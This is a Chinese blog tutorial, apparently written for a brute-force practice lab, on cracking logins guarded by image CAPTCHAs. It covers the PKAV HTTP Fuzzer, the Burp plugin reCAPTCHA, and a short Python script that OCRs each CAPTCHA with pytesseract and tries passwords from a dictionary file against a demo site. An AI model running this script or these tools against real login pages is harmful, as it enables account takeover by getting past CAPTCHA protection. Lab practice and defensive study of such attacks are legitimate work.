Web安全之爆破中的验证码识别~

布满荆棘的人生 2021-11-02 15:08 306阅读 0赞

**写爆破靶场的时候发现对于爆破有验证码的有点意思~这里简单总结下我们爆破有验证码的场景中几种有效的方法~~~**

## **0x01 使用现成工具** ##

**这里**有pkav团队的神器PKAV HTTP Fuzzer 1.5.6可以实现这个功能~

![1545399-20190615202459784-962771345.png][]

我们可以用pkav的国产神器，抓取请求包后，分别标记需要爆破的密码和识别的验证码，然后右侧定义加载的字典

![1545399-20190615195628846-115025954.png][]

配置验证码识别

![1545399-20190615195850304-1789146339.png][]

![1545399-20190615200053571-1886792811.png][]

**ok~爆破出来了~**

![1545399-20190615200132068-2103322064.png][]

--------------------

## 0x02 使用爬虫requests库+pytesseract库 ##

当然神器也不是每次都能识别出来，我们也可以使用强大py第三方库来识别爆破

可以使用requests库来发包(这个比selenium简单~~不过也就使用这种简单场景) pytesseract来识别验证码~~~具体安装使用可以看我另一篇博客~https://www.cnblogs.com/-qing-/p/11027821.html

附上自己写的小脚本

# -*- coding: utf-8 -*-
    #后台带验证码爆破 By 卿
    import requests
    import pytesseract
    import re
    
    code_url='http://www.brute_demo.com/vaildcode.php' #验证码地址
    brute_url='http://www.brute_demo.com/brute_4.php' #表单提交地址
    
    #识别验证码的函数
    def  user_code():
    #获取图片验证码
        r = s.get(code_url)
        with open('1.png', 'wb') as f: for chunk in r.iter_content(chunk_size=1024): if chunk: f.write(chunk) f.flush() f.close() #识别图片验证码 im = pytesseract.image_to_string('1.png') im = im.replace(' ', '') return im #有时候识别失败可以加载正则再次识别 if re.match('[0-9]{4}',im):#4位数字的验证码 return im else: return user_code()#再次识别  s=requests.session() headers = {"Content-Type":"application/x-www-form-urlencoded","Connection":"Keep-Alive"} with open(r'pass.dic', 'r') as Pass:#加载密码字典 for password in Pass.readlines(): code = user_code() print("验证码"+code) data = {'username':'qing','password':password,'submit':'submit','checkNum':code} r=s.post(brute_url,data=data,headers=headers) #密码正确 if 'Password mistake' not in r.text: print("正确的密码为:"+password) break

![1545399-20190615201929527-738315432.png][]

## 0x03 使用Burp插件reCAPTCHA ##

**reCAPTCHA**

一个burp插件，自动识别图形验证码，并用于Intruder中的Payload。最新版支持 GSA Captcha Breaker, 这个软件可以本地运行，速度杠杠的！

项目主页：[https://github.com/bit4woo/reCAPTCHA][https_github.com_bit4woo_reCAPTCHA]

![1545399-20190615204742894-1346692289.png][]

**使用:**

选中需要识别验证码的包并点击右键选择“Send to reCAPTCHA”，这个请求的信息将被发送到reCAPTCHA。

![1545399-20190615210429824-486615575.png][]

1.  切换到reCAPTCHA标签，并配置所需的参数。当参数配置好后，你可以点击“请求”按钮来测试配置。
2.  [http://www.ysdm.net][http_www.ysdm.net] 的API是目前唯一支持的接口,其中的各项参数需要自行注册帐号并填写，才能成功调用接口完成图片的识别。该API需要的参数如下，请用正确的值替换%s ，特别注意typeid值的设定([http://www.ysdm.net/home/PriceType][http_www.ysdm.net_home_PriceType])。
    
    `username=%s&password=%s&typeid=%s`

![1545399-20190615205924212-975758659.png][]

在Intruder中使用：

完成了配置并测试成功后，现在可以在Intruder中使用该插件生成的payload了

转载于:https://www.cnblogs.com/-qing-/p/11028928.html

[1545399-20190615202459784-962771345.png]: /images/20211101/5f205cfb2cf74805899d4ca5360d8e15.png
[1545399-20190615195628846-115025954.png]: /images/20211101/b03807f0081344d7a45b1ab4b428d453.png
[1545399-20190615195850304-1789146339.png]: /images/20211101/08141aed31a648df986c5b899736dd30.png
[1545399-20190615200053571-1886792811.png]: /images/20211101/13c7945865d94879b38bdbf901802838.png
[1545399-20190615200132068-2103322064.png]: /images/20211101/2471fad2df324a6fb0d4d590c595daaa.png
[1545399-20190615201929527-738315432.png]: /images/20211101/8c48ae0ec4b74efb8d612cdf89f5de71.png
[https_github.com_bit4woo_reCAPTCHA]: https://link.jianshu.com/?t=https://github.com/bit4woo/reCAPTCHA
[1545399-20190615204742894-1346692289.png]: /images/20211101/4690048cc7eb4a0da55e2f0266359ddc.png
[1545399-20190615210429824-486615575.png]: /images/20211101/fe79bab536f04e6681d2c63c7d990b54.png
[http_www.ysdm.net]: http://www.ysdm.net/
[http_www.ysdm.net_home_PriceType]: http://www.ysdm.net/home/PriceType
[1545399-20190615205924212-975758659.png]: /images/20211101/655956a70d7548f1931614f0e422542b.png